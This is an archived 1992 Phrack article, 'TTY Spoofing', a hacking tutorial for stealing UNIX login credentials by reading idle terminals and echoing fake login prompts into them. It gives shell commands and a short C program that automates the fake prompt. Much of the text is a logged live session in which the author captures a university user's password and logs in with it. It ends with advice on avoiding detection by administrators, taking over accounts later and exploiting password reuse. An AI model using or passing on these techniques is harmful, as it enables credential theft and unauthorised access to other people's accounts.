home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / phrack2 / phrack41.008 < prev    next >
Encoding:
Text File  |  2003-06-11  |  19.1 KB  |  471 lines

  1.  
  2.                                 ==Phrack Inc.==
  3.  
  4.                    Volume Four, Issue Forty-One, File 8 of 13
  5.  
  6.                           ++++++++++++++++++++++++++++
  7.                     +++++++                          +++++++
  8.                     +++++++       TTY SPOOFING       +++++++
  9.                     +++++++                          +++++++
  10.                      ++++++            BY            ++++++
  11.                       +++++                          +++++
  12.                         +++         VaxBuster        +++
  13.                          ++                          ++
  14.                           ++++++++++++++++++++++++++++
  15.  
  16.                                  July 16, 1992
  17.  
  18.  
  19.      Please note that this file is ONLY to be distributed as part of Phrack, 
  20. and will NOT be distributed to any other person or magazine for release.
  21.  
  22.      More detailed instructions have been provided so that the novice hacker is 
  23. able to understand them; therefore, all experienced hackers should be able to 
  24. breeze right through this without having to worry about the specific command 
  25. syntax provided.
  26.  
  27.      On UNIX systems, there are many ways to obtain account names and 
  28. passwords.  Some hackers prefer to swipe the password file and run programs 
  29. like Crack and Killer Cracker on them in order to get account names and 
  30. passwords.  Others rely on bugs or holes in the system in order to gain root 
  31. access.  Both these methods work, but what do you do if your password file is 
  32. shadowed (and it is NOT a yellow pages file!)?  And what do you do if all the 
  33. holes have been patched over from years of previous hackers abusing them? Well, 
  34. I happen to have found a system where all this is true.  I have even allowed 
  35. hackers to use one of my accounts to try to gain root privs, and of the 10 or 
  36. so that have tried, they have all failed.  My only recourse was to find SOME 
  37. other way to get accounts on the system to maintain MY security.
  38.  
  39.      TTY spoofing is often looked at as being lame, and some don't even 
  40. consider it a "hacking technique."  People usually completely overlook it, and 
  41. many others don't even know about it, or know HOW to do it.  I suppose I should 
  42. start out by defining the term.  TTY spoofing is either installing a Trojan 
  43. horse type program to sit and watch a certain (or multiple) tty and wait for a 
  44. user to login.  Instead of getting the normal system prompt, the program YOU 
  45. installed echoes the standard "login:" prompt, and then after they type in 
  46. their username, it prompts them for "<username> password:" and boom, you have a 
  47. new account.  This can be done by a program or, in many cases, manually.
  48.  
  49.      Of all the people I know, 90 percent of them scream at me saying that this 
  50. is impossible because their system doesn't allow read/write access to the tty. 
  51. When I make references to tty, I mean the physical device filename or 
  52. /dev/ttyxx where xx is either numeric, alphabetic, or alphanumeric characters 
  53. (e.g., 03, pa, p4 are all valid).  Of all the systems I've been on, I've never 
  54. seen one that doesn't allow reading/writing to a LOGIN process.  See, the 
  55. system doesn't change the tty to owner r/w ONLY until AFTER HIS USERNAME AND 
  56. PASSWORD HAS BEEN VERIFIED.  Console, or ttyco, is an exception where the perms 
  57. are ALWAYS -rw------.
  58.  
  59.      Now that you know WHAT tty spoofing is and the general idea behind WHY it 
  60. works, I'll start to tell you the many ways it can be done.
  61.  
  62.      In order to tty spoof, you MUST have at least ONE valid account on the 
  63. system.  You can obtain the account via a little social engineering, or you 
  64. could try a /who *sitename in the IRC to get nicknames and use their username 
  65. and try to hack out the password.  Try looking for users in #hottub and other 
  66. st00pid channels because they are the ones who would tend to have the easy 
  67. passwords.  Or use any other method that you can think of to obtain an account.
  68.  
  69.      Once you have an account, the rest is the easy part.  Simply create a 
  70. script in vi or emacs that redirects input from UNUSED tty's to cat.  Since you 
  71. are cat's standard output, everything coming FROM the monitored tty will come 
  72. to your screen.  You probably want to watch about 10 or 15 terminals.  An 
  73. example script would be: 
  74. cat </dev/tty01&
  75. cat </dev/tty02&
  76. cat </dev/ttypa&
  77. cat </dev/ttyp1&
  78.  
  79.      Then you want to just run your script with source.  Once a user walks up
  80. to a terminal (or remotely logs in via telnet, etc.), they will try to press 
  81. return and attempt to get a login prompt.  Many users will also type their
  82. username, thinking that the system is just waiting for it.  Make sure you write
  83. down the username.  After a while, they will probably start pressing control
  84. characters, like control-d or z or whatever.  Here's the problem:  when CAT
  85. encounters the ^D, it thinks that it is receiving an EOF in the file and it
  86. thinks its job is done.  You'll get something to the effect of:
  87.  
  88. [2] Exit           DONE                        cat </dev/tty01
  89.  
  90. or
  91.  
  92. [2] Exit 1         cat:i/o error               cat </dev/tty01
  93.  
  94. You want to IMMEDIATELY (if not sooner) "recat" that terminal.  Once you get
  95. that DONE signal, you now know WHAT terminal is active.  You want to then type
  96. something to the effect of 'echo -n "login:" >/dev/tty01&'.  The & is important
  97. because if the user decided to switch terminals, echo could lock up and freeze
  98. your control on the account.  If after about 10 seconds echo doesn't come back
  99. as:
  100.  
  101. [5] Exit            DONE                        echo -n login: >/dev/tty01
  102.  
  103. KILL the process.  When you ran the echo command, the shell gave you a
  104. processid.  Just type KILL processid.  If the done echo line DOES come back,
  105. that means that it was successfully printed on the user's screen.  He will then
  106. type in his username.  WRITE THIS DOWN.  If you are ever in doubt that the word
  107. on your screen is a username, type 'grep word /etc/passwd' and if a line comes
  108. up, you know it's valid.  If grep doesn't return anything, still keep it
  109. because it might be a password.  Then wait about 2 seconds, and type
  110. 'echo -n "<username> password:" >/dev/tty01&' again using the & to prevent
  111. lockage.  If that command doesn't come back in about 10 seconds, kill the
  112. process off and you can assume that you lost the user (e.g. he moved to another
  113. terminal).  If the done echo line DOES come back, then in about 2 seconds, you
  114. SHOULD see his password come up.  If you do, write it down, and boom, you have
  115. a new account.
  116.  
  117.      This may seem like a time consuming process and a lot of work, but
  118. considering that if you have macros with the "cat </dev/tty" command and the
  119. echo -n commands preset, it will be a breeze.  Okay - so you say to yourself,
  120. "I'm a lazy shit, and just want passwords to be handed to me on a silver
  121. platter."  With a little bit of work, you can do that!  Below is a few lines of
  122. C source code that can be used to automate this process.  Anyone who knows C
  123. should be able to put something together in no time.
  124.  
  125. #include <stdio.h>
  126.  
  127. FILE *fp, *fp2;
  128. char username[10], password[10];
  129.  
  130. main()
  131. {
  132.       fp=fopen("/dev/ttyp1", "r");
  133.       fp2=fopen("/dev/ttyp1", "w");
  134.  
  135.       fprintf(fp2, "login:");
  136.       fscanf(fp, "%s", &username);
  137.  
  138.       /* Put delay commands in here */
  139.  
  140.       fprintf(fp2, "%s password:", username);
  141.       fscanf(fp, "%s", @password);
  142.  
  143.       printf("Your new account info is %s, with password %s.", username,
  144.                 password);
  145. }
  146.  
  147.      This is a VERY basic setup.  One could fairly easily have the program take
  148. arguments from the command line, like a range of tty's, and have the output
  149. sent to a file.
  150.  
  151.      Below is an actual session of manual tty spoofing.  The usernames and
  152. passwords HAVE been changed because they will probably be active when you read
  153. this.  Some c/r's and l/f's have been cut to save space.  Please notice the
  154. time between the startup and getting a new account is only seven minutes.
  155. Using this technique does not limit the hacked passwords to dictionary
  156. derivatives like Crack and other programs.
  157.  
  158. source mycats                              ; This file contains cats
  159.                                     ; for terminals tty03 - tty10
  160. [1] 29377
  161. /dev/tty03: Permission denied       ; All this means is that someone is logged 
  162. in
  163.                                 ; and has their mesg set to NO.  Ignore it.
  164.  
  165. [1]    Exit 1               cat < /dev/tty03
  166. [2] 29378
  167. [3] 29379
  168. /dev/tty06: Permission denied
  169. /dev/tty05: Permission denied
  170. [4]    Exit 1               cat < /dev/tty06
  171. [3]    Exit 1               cat < /dev/tty05
  172. /dev/tty07: Permission denied
  173. [3]    Exit 1               cat < /dev/tty07
  174. /dev/tty08: Permission denied
  175. [3]    Exit 1               cat < /dev/tty08
  176. [2]  + Stopped (tty input)    cat < /dev/tty04      ;This was the terminal I 
  177. was
  178.                                                 ;on - it's automatically
  179.                                     ;aborted...
  180. [3] 29383
  181. <5:34pm><~> /dev/tty09: Permission denied
  182. [3]    Exit 1               cat < /dev/tty09
  183. <5:34pm><~> source mycats2                  ;This one contains 34 - 43
  184.  
  185. [3] 29393
  186. [4] 29394
  187. [5] 29395
  188. [6] 29396
  189. [7] 29397
  190. [8] 29398
  191. [9] 29399
  192. /dev/tty36: Permission denied
  193. /dev/tty37: Permission denied
  194. /dev/tty38: Permission denied
  195. /dev/tty39: Permission denied
  196. /dev/tty40: Permission denied
  197. /dev/tty34: Permission denied
  198. /dev/tty35: Permission denied
  199.  
  200. [9]    Exit 1               cat < /dev/tty40
  201. [8]    Exit 1               cat < /dev/tty39
  202. [7]    Exit 1               cat < /dev/tty38
  203. [6]    Exit 1               cat < /dev/tty37
  204. [5]    Exit 1               cat < /dev/tty36
  205. [4]    Exit 1               cat < /dev/tty35
  206. [3]    Exit 1               cat < /dev/tty34
  207.  
  208. [1] 29400
  209. [3] 29401
  210. [4] 29402
  211.  
  212. <5:34pm><~> /dev/tty41: Permission denied
  213.  
  214. [1]    Exit 1               cat < /dev/tty41
  215. /dev/tty43: Permission denied
  216. [4]    Exit 1               cat < /dev/tty43
  217. /dev/tty42: Permission denied
  218. [3]    Exit 1               cat < /dev/tty42
  219.  
  220. <5:34pm><~> source mycats3                        ;This contains p1-pa
  221.  
  222. [3] 29404
  223. [4] 29405
  224. [5] 29406
  225. [6] 29407
  226. [7] 29408
  227. /dev/ttyp1: Permission denied
  228. /dev/ttyp3: Permission denied
  229. /dev/ttyp5: Permission denied
  230. /dev/ttyp6: Permission denied
  231.  
  232. [8]    Exit 1               cat < /dev/ttyp6
  233. [7]    Exit 1               cat < /dev/ttyp5
  234. [5]    Exit 1               cat < /dev/ttyp3
  235. [3]    Exit 1               cat < /dev/ttyp1
  236. [7] 29410
  237. [8] 29411
  238. [9] 29412
  239. [1] 29413
  240.  
  241. <5:34pm><~> /dev/ttyp7: Permission denied
  242.  
  243. [7]    Exit 1               cat < /dev/ttyp7
  244. /dev/ttypa: Permission denied
  245. [1]    Exit 1               cat < /dev/ttypa
  246.  
  247. <5:34pm><~> source mycats4                         ;Last one is q0-qa
  248.  
  249. [1] 29426
  250. [3] 29427
  251. [5] 29428
  252. [7] 29429
  253. [10] 29430
  254. [11] 29431
  255. /dev/ttyq5: Permission denied
  256.  
  257. [10]   Exit 1               cat < /dev/ttyq5
  258. [12] 29432
  259. [10] 29433
  260. [13] 29434
  261. [14] 29435
  262. <5:34pm><~> who
  263.  
  264. <5:34pm><~> nnnnnnnnrlogin unx        ; He thought he didn't type it right.
  265. pigsnort                                ; Important!  Write down ALL non-
  266.                               ; system sent messages!
  267. <5:35pm><~> 
  268. grep pigsnort /etc/passwd               ; Check with grep to see if it's an
  269.                               ; account.
  270.  
  271. <5:35pm><~>                             ; Didn't return anything - must be a
  272.                               ; a password!
  273.  
  274. nnnpptst8                               ; Sure looks like an account name to
  275. nnnnn=====                              ; me!  Write it down!
  276.  
  277. ls
  278.  
  279. [8]    Done                   cat < /dev/ttyp8  ; Asshole pressed control-d.
  280.                                     ; 'recat' the terminal!
  281.  
  282. <5:36pm><~> cat  < /d e v/  ttyp8&             ; This is the 'recat.'
  283.  
  284. [8] 29459
  285. <5:36pm><~> cat: read error: I/O error            ; Asshole is now trying all
  286.                                     ; sorts of control characters
  287.                                     ; sending UNIX into a fit.
  288. [4]    Exit 1               cat < /dev/ttyp2
  289.  
  290. <5:36pm><~> cat </dev/ttyp2&                  ; 'recat' it!
  291.  
  292. [4] 29465
  293. <5:36pm><~> 
  294.  
  295. <5:36pm><~> 
  296.  
  297. [6]    Done                   cat < /dev/ttyp4  ; Someone had to press the
  298.                                                 ; character, so this is active.
  299.  
  300. <5:36pm><~> cat </dev/ttyp4&                  ; 'recat' the ctrl-d.
  301.  
  302. [6] 29468
  303. <5:36pm><~> echo -n "login:" >/dev/ttyble1      ; Try echo'ing a fake login
  304. cat: read error: I/O error                  ; to the active terminal.
  305.  
  306. [6]    Exit 1               cat < /dev/ttyp4
  307. poop4d                                          ; Here goes another password.
  308. p4                                              ; Couldn't find the matching
  309. &                                    ; account.
  310.  
  311. [6] 29470
  312. <5:37pm><~> cat: read error: I/O error
  313.  
  314.  
  315. [4]    Exit 1               cat < /dev/ttyp2
  316.  
  317.  
  318. <5:37pm><~> cat </dev/ttyp2&
  319.  
  320. [4] 29489
  321. <5:37pm><~> echo -n "login:" >/dev/ttyp2&      ; Try echo'ing a fake login
  322.                                     ; prompt again.
  323. [15] 29490
  324. <5:37pm><~> kill 29490                        ; Login prompt didn't return
  325.                                     ; within a few seconds so we
  326.                                                 ; kill it.
  327.  
  328. [15]   Terminated             echo -n login: > /dev/ttyp2
  329. <5:37pm><~> cat </dev/tty 
  330. echo -n "login:" >/dev/ttyp4&
  331.  
  332. [15] 29491
  333. <5:38pm><~> kill 29491
  334.  
  335. <5:38pm><~> grep pptst8 /etc/passwd             ; Make sure it's an account!
  336.  
  337. pptst8:X:58479:4129:People Eater:/ucuc.edu/usr/pptst8:/bin/bash
  338. <5:38pm><~> grep ble1 /etc/passwd               ; This isn't an account...
  339.  
  340. <5:39pm><~> grep poop4d /etc/passwd             ; Neither is this - probably
  341.                                     ; a password...
  342.  
  343. <5:39pm><~> who                              ; See if any of the users we
  344.                                     ; caught fell through an
  345.                                     ; 'uncatted' terminal...
  346.  
  347. <5:39pm><~> ps -x                               ; View all our processes.
  348.                                     ; DAMN glad that the cat's
  349.   PID TT STAT  TIME COMMAND                     ; don't come up in the process
  350. 29266 04 S     0:04 -tcsh (tcsh)            ; list!
  351. 29378 04 T     0:00 cat
  352. 29412 04 I     0:00 -tcsh (tcsh)
  353. 29426 04 I     0:00 -tcsh (tcsh)
  354. 29427 04 I     0:00 -tcsh (tcsh)
  355. 29428 04 I     0:00 -tcsh (tcsh)
  356. 29429 04 I     0:00 -tcsh (tcsh)
  357. 29431 04 I     0:00 -tcsh (tcsh)
  358. 29432 04 I     0:00 -tcsh (tcsh)
  359. 29433 04 I     0:00 -tcsh (tcsh)
  360. 29434 04 I     0:00 -tcsh (tcsh)
  361. 29435 04 I     0:00 -tcsh (tcsh)
  362. 29459 04 I     0:00 -tcsh (tcsh)
  363. 29470 04 D     0:00 <exiting>
  364. 29489 04 I     0:00 -tcsh (tcsh)
  365. 29491 04 D     0:00 -tcsh (tcsh)
  366. 29547 04 R     0:00 ps -x
  367. <5:40pm><~> kill 29378 29412 29426 29427 29428 29429 29431 29432 29433 29434 29
  368.  
  369. 435 29459 29470 29489 289491                    ;Kill off all processes.
  370.  
  371. 29470: No such process
  372.  
  373. [4]    Terminated             cat < /dev/ttyp2
  374. [8]    Terminated             cat < /dev/ttyp8
  375. [14]   Terminated             cat < /dev/ttyqa
  376. [13]   Terminated             cat < /dev/ttyq9
  377. [10]   Terminated             cat < /dev/ttyq8
  378. [12]   Terminated             cat < /dev/ttyq7
  379. [11]   Terminated             cat < /dev/ttyq6
  380. [7]    Terminated             cat < /dev/ttyq4
  381. [5]    Terminated             cat < /dev/ttyq3
  382. [3]    Terminated             cat < /dev/ttyq2
  383. [1]    Terminated             cat < /dev/ttyq1
  384. [9]    Terminated             cat < /dev/ttyp9
  385. [2]    Terminated             cat < /dev/tty04
  386.  
  387. <5:41pm><~> 
  388.  
  389. [15]   Terminated             echo -n login: > /dev/ttyp4
  390. [6]    Done                   echo -n login: > /dev/ttyp4
  391.  
  392. <5:41pm><~> ps -x
  393.  
  394.   PID TT STAT  TIME COMMAND
  395. 29266 04 S     0:04 -tcsh (tcsh)
  396. 29594 04 R     0:00 ps -x
  397. <5:41pm><~> logout
  398.  
  399. Local -011- Session 1 disconnected from UNIX1 
  400.  
  401. Local> c unx                                    ; Notice it's a different
  402.                                                 ; system but shares passwords.
  403. Local -010- Session 1 to UNX on node MYUNX established
  404.  
  405. Welcome to ucuc.edu.
  406.  
  407. login: ble1                                     ; Test out all the accounts
  408. ble1 password:  [I tried poop4d]                ; with all the passwords.
  409. Login failed.
  410. login: pptst8
  411. pptst8 password: [I tried poop4d here too.]
  412. Login failed.
  413. login: pptst8
  414. pptst8 password: [I typed pigsnort]
  415. Authenticated via AFS Kerberos.                 ; BINGO!  We're in!
  416. Checking system rights for <pptst8>... login permitted.
  417. login 1.0(2), Authen
  418. Last login: Fri Jul 17 17:33:30 on tty11
  419.  
  420. (1) unix $ ls                                   ; Let's see what this sucker
  421.                                                 ; has...hmm...an IRC user, eh?
  422. Mail      Mailbox      News      bin      irc      other      junk      private      
  423. public
  424. (2) unix $ logout
  425.  
  426. Local -011- Session 1 disconnected from UNX
  427.  
  428.      A few words of advice:  Monitor the tty's when it's the busiest time of 
  429. the day, usually about 11am on a university system.  Kill all your processes 
  430. before you hang up.  Those processes that you run will sit on the system and 
  431. can be found by sysadmins.  Also, they will tie up those tty's that you are 
  432. monitoring, which can also cause problems.  Point is, you DON'T want to attract 
  433. attention to what you're doing.  Don't test the accounts you get immediately. 
  434. If the victim happens to be doing a 'who' and sees two of himself, he is going 
  435. to shit.  Wait until later or use a different subsystem that won't show up on 
  436. his 'who'.
  437.  
  438. Don't take over accounts.  All the real user has to do is call up the office 
  439. and tell them that their password was changed.  In two seconds, it'll be 
  440. changed back, plus the sysadmin will be on the lookout so you're just one step 
  441. BEHIND where you started.  Once you have someone's account info, kill the cat 
  442. that is sucking the terminal so that the user can log in normally.  If he 
  443. continues not to get ANYTHING, he may go and solicit some "professional" help, 
  444. and THEY might know what's going on, so let the sucker log in.  Another thing:  
  445. with accounts you get.
  446.  
  447. DO NOT DESTROY ANYTHING in the system, not in their account, and no where else 
  448. if you get higher privs.  Chances are that the person is NOT going to know 
  449. someone has obtained their password, and will have NO reason to change it.  
  450. Wait until his college term/semester ends and then monitor the file dates.  If 
  451. after about a month the dates don't change, change the password and do whatever 
  452. you want to the account because he's probably done with it.
  453.  
  454. Oh and one last thing.  Once you have a valid account, grep the username and 
  455. get the REAL name.  Then grep the REAL name and find out all accounts on the 
  456. system that the guy owns.  Chances are that he is using the same password in 
  457. multiple accounts!
  458.  
  459. Thanks go to Pointman, #hack members, and the entire current/past Phrack staff 
  460. for putting out an excellent magazine over the years.
  461.  
  462. If you need to contact me, try the IRC in #hack and the VMB world.  I usually 
  463. prefer NOT to be contacted by e-mail, but if you have my address and have an 
  464. important question, go for it.  I'm willing to help any beginners who need it.
  465.  
  466. Happy Hacking!
  467.  
  468. VaxBuster '92
  469. _______________________________________________________________________________
  470. ^L
  471.